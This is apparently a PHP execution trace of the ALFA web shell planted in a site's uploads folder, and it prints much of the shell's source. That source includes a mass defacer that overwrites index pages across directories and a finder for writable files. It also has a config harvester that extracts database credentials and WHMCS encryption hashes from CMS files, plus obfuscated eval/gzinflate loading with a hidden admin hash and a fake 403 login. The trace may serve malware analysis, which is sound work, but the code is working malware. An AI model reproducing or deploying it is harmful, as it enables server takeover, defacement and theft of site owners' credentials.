| </a></h3></center>\';\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'file\'){\r\necho \'<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\\\'searcher\\\',null,\\\'file\\\',this.filename.value,this.ext.value,this.method.value,\\\'>>\\\');return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>\r\nDir: <input size="50" id="target" type="text" name="filename" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$ext = $_POST[\'alfa3\'];\r\n$method = $_POST[\'alfa4\'];\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(substr($dir,-1)==\'/\')$dir=substr($dir,0,-1);\r\nAlfa_Searcher($dir,trim($ext),$method);\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'str\'){\r\necho \'<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\\\'searcher\\\',null,\\\'str\\\',this.dir.value,this.string.value,\\\'>>\\\',this.ext.value,this.method.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">\r\nMethod: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>\r\nString: <input type="text" name="string" value="">\r\nDir: <input size="50" type="text" name="dir" value="\'.$GLOBALS[\'cwd\'].\'">\r\nExt: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">\r\n<input type="submit" name="btn" value=" "></div></form></center><br>\';\r\n$dir = $_POST[\'alfa2\'];\r\n$string = $_POST[\'alfa3\'];\r\n$ext = $_POST[\'alfa5\'];\r\nif(!empty($string) AND !empty($dir) AND $_POST[\'alfa4\'] == \'>>\'){\r\necho __pre();\r\nAlfa_StrSearcher($dir,$string,$ext,$_POST[\'alfa6\']);\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaMassDefacer(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Mass Defacer |</div></p><form onSubmit=\\"g(\'MassDefacer\',null,this.massdir.value,this.defpage.value,this.method.value,\'>>\');return false;\\" method=\'post\'>";\r\necho \'<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>\r\n\tMass dir: <input size="50" id="target" type="text" name="massdir" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\r\n\tDefPage: <input size="50" type="text" name="defpage" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"></div> <input type="submit" name="btn" value=" "></center></p>\r\n</form>\';\r\n$dir = $_POST[\'alfa1\'];\r\n$defpage = $_POST[\'alfa2\'];\r\n$method = $_POST[\'alfa3\'];\r\n$fCurrent = $GLOBALS[\'__file_path\'];\r\nif($_POST[\'alfa4\'] == \'>>\'){\r\nif(!empty($dir)){\r\nif(@is_dir($dir)){\r\nif(@is_readable($dir)){\r\nif(@is_file($defpage)){\r\nif($dh = @opendir($dir)){\r\necho __pre();\r\nwhile (($file = @readdir($dh)) !== false){\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.$file;\r\nif($fCurrent == $newfile)continue;\r\nif(@is_dir($newfile)){\r\nAlfa_ReadDir($newfile,$method,$defpage);\r\n}else{\r\nif(!@is_writable($newfile))continue;\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}else{__alert(\'<font color="red">Error In OpenDir...</font>\');}\r\n}else{__alert(\'<font color="red">DefPage File NotFound...</font>\');}\r\n}else{__alert(\'<font color="red">Directory is not Readable...</font>\');}\r\n}else{__alert(\'<font color="red">Mass Dir is Invalid Dir...</font>\');}\r\n}else{__alert(\'<font color="red">Dir is Empty...</font>\');}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_ReadDir($dir,$method=\'\',$defpage=\'\'){\r\nif(!@is_readable($dir)) return false;\r\nif (@is_dir($dir)) {\r\nif ($dh = @opendir($dir)) {\r\nwhile(($file=readdir($dh))!==false) {\r\nif($file == \'..\' || $file == \'.\')continue;\r\n$newfile=$dir.\'/\'.$file;\r\nif(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\r\nif(@is_file($newfile)){\r\nif(!@is_readable($newfile))continue;\r\nAlfa_Rewriter($newfile,$file,$defpage,$method);\r\n}\r\n}\r\nclosedir($dh);\r\n}\r\n}\r\n}\r\nfunction Alfa_Rewriter($dir,$file,$defpage,$m=\'index\'){\r\nif(!@is_writable($dir)) return false;\r\nif(!@is_readable($dir)) return false;\r\n$defpage=@file_get_contents($defpage);\r\nif($m == \'index\'){\r\n$indexs = array(\'index.php\',\'index.htm\',\'index.html\',\'default.asp\',\'default.aspx\',\'index.asp\',\'index.aspx\',\'index.js\');\r\nif(in_array(strtolower($file),$indexs)){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir."<b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}elseif($m==\'all\'){\r\n@file_put_contents($dir,$defpage);\r\necho @is_file($dir)?$dir."  <b><font color=\'red\'>DeFaced...</b></font><br>" : \'\';\r\n}\r\n}\r\nfunction alfaGetDisFunc(){\r\nalfahead();\r\necho \'<div class="header">\';\r\n$disfun = @ini_get(\'disable_functions\');\r\n$s = explode(\',\',$disfun);\r\n$f = array_unique($s);\r\necho \'<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>\';\r\n$i=1;\r\nforeach($f as $s){\r\n$s=trim($s);\r\nif(function_exists($s)||!is_callable($s))continue;\r\necho \'<tr><td align="center" style="background-color: black;">\'.$i.\'</td>\';\r\necho \'<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.\'.str_replace(\'_\',\'-\',$s).\'.php"><span class="disable_functions"><b>\'.$s.\'</b></span></a></td>\';\r\n$i++;\r\n}\r\necho \'</table></center>\';\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction Alfa_Create_A_Tag($action,$vals){\r\n$nulls = array();\r\nforeach($vals as $key => $val){\r\necho \'<a href=javascript:void(0) onclick="g(\\\'\'.$action.\'\\\',\';\r\nfor($i=1;$i<=$val[1]-1;$i++)$nulls[] = \'null\';\r\n$f = implode(\',\',$nulls);\r\necho $f.\',\\\'\'.$val[0].\'\\\');return false;">| \'.$key.\' | </a>\';\r\nunset($nulls);\r\n}\r\n}\r\nfunction Alfa_Searcher($dir, $ext, $method) {\r\nif(@is_readable($dir)){\r\nif($method == \'all\')$ext = \'*\';\r\nif($method == \'dirs\')$ext = \'*\';\r\n$globFiles = @glob("$dir/*.$ext");\r\n$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);\r\n$blacklist = array();\r\nforeach ($globDirs as $dir) {\r\nif(!@is_readable($dir)) continue;\r\n@Alfa_Searcher($dir, $ext, $method);\r\n}\r\nswitch($method){\r\ncase "files":\r\nforeach ($globFiles as $file){\r\nif(@is_writable($file)){\r\necho "$file<br>";\r\n}\r\n}\r\nbreak;\r\ncase "dirs":\r\nforeach ($globFiles as $file){\r\nif(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){\r\necho dirname($file).\'<br>\';\r\n$blacklist[] = dirname($file);\r\n}\r\n}\r\nbreak;\r\ncase "all":\r\nforeach ($globFiles as $file){\r\necho $file.\'<br>\';\r\n}\r\nbreak;\r\n}\r\nunset($blacklist);\r\n}\r\n}\r\nfunction AlfaiFrameCreator($f,$width=\'100%\',$height=\'600px\'){\r\nreturn(\'<iframe src="\'.$f.\'" width="\'.$width.\'" height="\'.$height.\'" frameborder="0"></iframe>\');\r\n}\r\nclass AlfaCURL {\r\npublic $headers;\r\npublic $user_agent;\r\npublic $compression;\r\npublic $cookie_file;\r\npublic $proxy;\r\npublic $path;\r\npublic $ssl = false;\r\npublic $curl_status = true;\r\nfunction __construct($cookies=false,$compression=\'gzip\',$proxy=\'\'){\r\nif(!extension_loaded(\'curl\')){$curl_status = false;return false;}\r\n$this->headers[] = \'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg\';\r\n$this->headers[] = \'Connection: Keep-Alive\';\r\n$this->headers[] = \'Content-type: application/x-www-form-urlencoded;charset=UTF-8\';\r\n$this->user_agent = \'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\';\r\n$this->path = ALFA_TEMPDIR.\'/Alfa_cookies.txt\';\r\n$this->compression=$compression;\r\n$this->proxy=$proxy;\r\n$this->cookies=$cookies;\r\nif($this->cookies)$this->cookie($this->path);\r\n}\r\nfunction cookie($cookie_file) {\r\nif (_alfa_file_exists($cookie_file,false)) {\r\n$this->cookie_file=$cookie_file;\r\n}else{\r\n@fopen($cookie_file,\'w\') or die($this->error(\'The cookie file could not be opened.\'));\r\n$this->cookie_file=$cookie_file;\r\n@fclose($this->cookie_file);\r\n}\r\n}\r\nfunction Send($url,$method="get",$data=""){\r\nif(!$this->curl_status){return false;}\r\n$process = curl_init($url);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\r\ncurl_setopt($process, CURLOPT_HEADER, 0);\r\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\r\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\r\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\r\nif($this->ssl){\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\r\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\r\n}\r\nif($this->cookies){\r\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\r\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\r\n}\r\nif($this->proxy){\r\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\r\n}\r\nif($method==\'post\'){\r\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\r\ncurl_setopt($process, CURLOPT_POST, 1);\r\ncurl_setopt($process, CURLOPT_HTTPHEADER, array(\'Content-Type: application/x-www-form-urlencoded\'));\r\n}\r\n$return = curl_exec($process);\r\ncurl_close($process);\r\nreturn $return;\r\n}\r\nfunction error($error) {\r\necho "<center><div style=\'width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px\'><b>cURL Error</b><br>$error</div></center>";\r\ndie;\r\n}\r\n}\r\nfunction getConfigHtml($cms){\r\n$content = \'\';\r\n$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");\r\n$content .= "<form onSubmit=\'g(\\"GetConfig\\",null,this.cms.value,this.path.value);return false;\'><div class=\'txtfont\'>Cms: </div> <select name=\'cms\'style=\'width:100px;\'>";\r\nforeach($cms_array as $key => $val){\r\n$content .= "<option value=\'{$key}\' ".($key==$cms?\'selected=selected\':\'\').">{$val}</option>";\r\n}\r\n$content .= "</select> <div class=\'txtfont\'>Path(installed cms/Config): </div> <input type=\'text\' name=\'path\' value=\'".$_SERVER[\'DOCUMENT_ROOT\']."/\' size=\'30\' /> <button class=\'button\'>GetConfig</button>";\r\n$content .= "</form>";\r\nreturn $content;\r\n}\r\nfunction alfaGetConfig(){\r\n$cms = $_POST[\'alfa1\'];\r\n$path = trim($_POST[\'alfa2\']);\r\n$config = array(\r\n\'wp\'=>array(\'file\'=>\'/wp-config.php\',\r\n\'host\'=>array("/define\\(\'DB_HOST\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbname\'=>array("/define\\(\'DB_NAME\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbuser\'=>array("/define\\(\'DB_USER\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbpw\'=>array("/define\\(\'DB_PASSWORD\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'prefix\'=>array("/table_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'drupal\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/define\\(\'DB_HOSTNAME\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbname\'=>array("/define\\(\'DB_DATABASE\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbuser\'=>array("/define\\(\'DB_USERNAME\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'dbpw\'=>array("/define\\(\'DB_PASSWORD\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2),\r\n\'prefix\'=>array("/define\\(\'DB_PREFIX\',(\\s+)(?:\'|\\")(.*?)(?:\'|\\")\\);/",2)\r\n),\r\n\'vb\'=>array(\'file\'=>\'/includes/config.php\',\r\n\'host\'=>array("/config\\[\'MasterServer\'\\]\\[\'servername\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/config\\[\'MasterServer\'\\]\\[\'username\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/config\\[\'Database\'\\]\\[\'dbname\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/config\\[\'MasterServer\'\\]\\[\'password\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/config\\[\'Database\'\\]\\[\'tableprefix\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'phpnuke\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array(\'/dbhost(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbname\'=>array(\'/dbname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbuser\'=>array(\'/dbuname(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'dbpw\'=>array(\'/dbpass(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3),\r\n\'prefix\'=>array(\'/prefix(\\s+)=(\\s+)(?:\\\'|")(.*?)(?:\\\'|");/\',3)\r\n),\r\n\'smf\'=>array(\'file\'=>\'/Settings.php\',\r\n\'host\'=>array("/db_server(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_passwd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/db_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'whmcs\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/db_host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/db_name(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/db_username(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/db_password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'cc_encryption_hash\'=>array("/cc_encryption_hash(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'joomla\'=>array(\'file\'=>\'/configuration.php\',\r\n\'host\'=>array("/\\\\\\$host(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/\\\\\\$db(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/\\\\\\$user(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/\\\\\\$password(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/\\\\\\$dbprefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'phpbb\'=>array(\'file\'=>\'/config.php\',\r\n\'host\'=>array("/dbhost(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/dbname(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/dbuser(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/dbpasswd(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/table_prefix(\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n),\r\n\'mybb\'=>array(\'file\'=>\'/inc/config.php\',\r\n\'host\'=>array("/config\\[\'database\'\\]\\[\'hostname\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbname\'=>array("/config\\[\'database\'\\]\\[\'database\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbuser\'=>array("/config\\[\'database\'\\]\\[\'username\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'dbpw\'=>array("/config\\[\'database\'\\]\\[\'password\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3),\r\n\'prefix\'=>array("/config\\[\'database\'\\]\\[\'table_prefix\'\\](\\s+)=(\\s+)(?:\'|\\")(.*?)(?:\'|\\");/",3)\r\n)\r\n);\r\n$data = array();\r\n$srch_host = $config[$cms][\'host\'][0];\r\n$srch_user = $config[$cms][\'dbuser\'][0];\r\n$srch_name = $config[$cms][\'dbname\'][0];\r\n$srch_pw = $config[$cms][\'dbpw\'][0];\r\n$prefix = $config[$cms][\'prefix\'][0];\r\n$file = $config[$cms][\'file\'];\r\n$chost = $config[$cms][\'host\'][1];\r\n$cuser = $config[$cms][\'dbuser\'][1];\r\n$cname = $config[$cms][\'dbname\'][1];\r\n$cpw = $config[$cms][\'dbpw\'][1];\r\n$cprefix = $config[$cms][\'prefix\'][1];\r\nif(@is_dir($path)||_alfa_is_dir($path)){\r\n$file=$path.$file;\r\n}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){\r\n$file=$path;\r\n}else{\r\nreturn false;\r\n}\r\n$file = __read_file($file);\r\nif(preg_match($srch_host, $file, $mach)){\r\n$data[\'host\'] = $mach[$chost];\r\n}\r\nif(preg_match($srch_user, $file, $mach)){\r\n$data[\'user\'] = $mach[$cuser];\r\n}\r\nif(preg_match($srch_name, $file, $mach)){\r\n$data[\'dbname\'] = $mach[$cname];\r\n}\r\nif(preg_match($srch_pw, $file, $mach)){\r\n$data[\'password\'] = $mach[$cpw];\r\n}\r\nif(isset($prefix)){\r\nif(preg_match($prefix, $file, $mach)){\r\n$data[\'prefix\'] = $mach[$cprefix];\r\n}\r\n}\r\nif($cms==\'whmcs\'){\r\nif(preg_match($config[$cms][\'cc_encryption_hash\'][0], $file, $mach)){\r\n$data[\'cc_encryption_hash\'] = $mach[3];\r\n}\r\n}\r\necho json_encode($data);\r\n}\r\nif(empty($_POST[\'a\']))\r\nif(isset($default_action) && function_exists(\'alfa\' . $default_action))\r\n$_POST[\'a\'] = $default_action;\r\nelse\r\n$_POST[\'a\'] = \'FilesMan\';\r\nif(!empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']))\r\ncall_user_func(\'alfa\' . $_POST[\'a\']);\r\nexit;\r\n/*\r\n#Persian Gulf For Ever\r\n#skype : sole.sad\r\n#skype : ehsan.invisible\r\n*/\r\n?><center><img src=\'https://gladiusphp.com/iconssss.png\' style=\'width: 20px\'></center>'	/var/www/html/uploads/alfa.php(52) : runtime-created function	1	0
4	48	0	0.032868	3500336	session_start	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	16	0
4	48	1	0.032971	3501088
4	48	R			TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	18	GLOBALS['hletsenZaP'] = ['usbsQUwAhkWC' => 'admin', 'paYfnLRHyvlu' => 'a6f452ec3293d7fb72c5b677257b20ec', 'sabQVXtrNNwi' => '0', 'loCUHRmbYqtC' => '403', 'shPODWfHFYHd' => '1', 'pooyIhiDACzI' => TRUE]
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	26	$pcvPCHpSHZ = 'function_exists'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	27	$XLaHXDQRnN = 'charCodeAt'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	28	$CySFmIwDgG = 'eval'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	29	$FSMVudEUDM = 'gzinflate'
4	49	0	0.033078	3501088	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	30	1	'base64_encode'
4	49	1	0.033095	3501128
4	49	R			TRUE
4	50	0	0.033110	3501088	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	72	1	'base64_decode'
4	50	1	0.033126	3501128
4	50	R			TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	112	GLOBALS['DB_NAME'] = ['usbsQUwAhkWC' => 'admin', 'paYfnLRHyvlu' => 'a6f452ec3293d7fb72c5b677257b20ec', 'sabQVXtrNNwi' => '0', 'loCUHRmbYqtC' => '403', 'shPODWfHFYHd' => '1', 'pooyIhiDACzI' => TRUE]
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	113	$check = FALSE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	115	$check = TRUE
4	51	0	0.033191	3501064	print_r	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	121	2	['usbsQUwAhkWC' => 'admin', 'paYfnLRHyvlu' => 'a6f452ec3293d7fb72c5b677257b20ec', 'sabQVXtrNNwi' => '0', 'loCUHRmbYqtC' => '403', 'shPODWfHFYHd' => '1', 'pooyIhiDACzI' => TRUE]	TRUE
4	51	1	0.033218	3501384
4	51	R			'Array\n(\n    [usbsQUwAhkWC] => admin\n    [paYfnLRHyvlu] => a6f452ec3293d7fb72c5b677257b20ec\n    [sabQVXtrNNwi] => 0\n    [loCUHRmbYqtC] => 403\n    [shPODWfHFYHd] => 1\n    [pooyIhiDACzI] => 1\n)\n'
4	52	0	0.033242	3501320	md5	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	121	1	'Array\n(\n    [usbsQUwAhkWC] => admin\n    [paYfnLRHyvlu] => a6f452ec3293d7fb72c5b677257b20ec\n    [sabQVXtrNNwi] => 0\n    [loCUHRmbYqtC] => 403\n    [shPODWfHFYHd] => 1\n    [pooyIhiDACzI] => 1\n)\n'
4	52	1	0.033266	3501416
4	52	R			'5e4beb028306b365c30b7ab22d91ae66'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	121	_SESSION['alfa_settings_signature'] = '5e4beb028306b365c30b7ab22d91ae66'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'usbsQUwAhkWC'
4	53	0	0.033312	3501448	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'usbsQUwAhkWC'	0	2
4	53	1	0.033328	3501576
4	53	R			'us'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'us'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	125	GLOBALS['DB_NAME']['user'] = 'admin'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	126	GLOBALS['DB_NAME']['user_rand'] = 'usbsQUwAhkWC'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'paYfnLRHyvlu'
4	54	0	0.033409	3501856	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'paYfnLRHyvlu'	0	2
4	54	1	0.033425	3501984
4	54	R			'pa'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'pa'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	128	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	129	GLOBALS['DB_NAME']['pass_rand'] = 'paYfnLRHyvlu'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'sabQVXtrNNwi'
4	55	0	0.033496	3502176	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'sabQVXtrNNwi'	0	2
4	55	1	0.033512	3502304
4	55	R			'sa'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'sa'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	131	GLOBALS['DB_NAME']['safemode'] = '0'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	132	GLOBALS['DB_NAME']['safemode_rand'] = 'sabQVXtrNNwi'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'loCUHRmbYqtC'
4	56	0	0.033581	3502176	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'loCUHRmbYqtC'	0	2
4	56	1	0.033596	3502304
4	56	R			'lo'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'lo'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	134	GLOBALS['DB_NAME']['login_page'] = '403'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	135	GLOBALS['DB_NAME']['login_page_rand'] = 'loCUHRmbYqtC'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'shPODWfHFYHd'
4	57	0	0.033665	3502176	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'shPODWfHFYHd'	0	2
4	57	1	0.033681	3502304
4	57	R			'sh'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'sh'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	137	GLOBALS['DB_NAME']['show_icons'] = '1'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	138	GLOBALS['DB_NAME']['show_icons_rand'] = 'shPODWfHFYHd'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	122	$key = 'pooyIhiDACzI'
4	58	0	0.033752	3502176	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	3	'pooyIhiDACzI'	0	2
4	58	1	0.033767	3502304
4	58	R			'po'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	123	$prefix = 'po'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	140	GLOBALS['DB_NAME']['post_encryption'] = TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	141	GLOBALS['DB_NAME']['post_encryption_rand'] = 'pooyIhiDACzI'
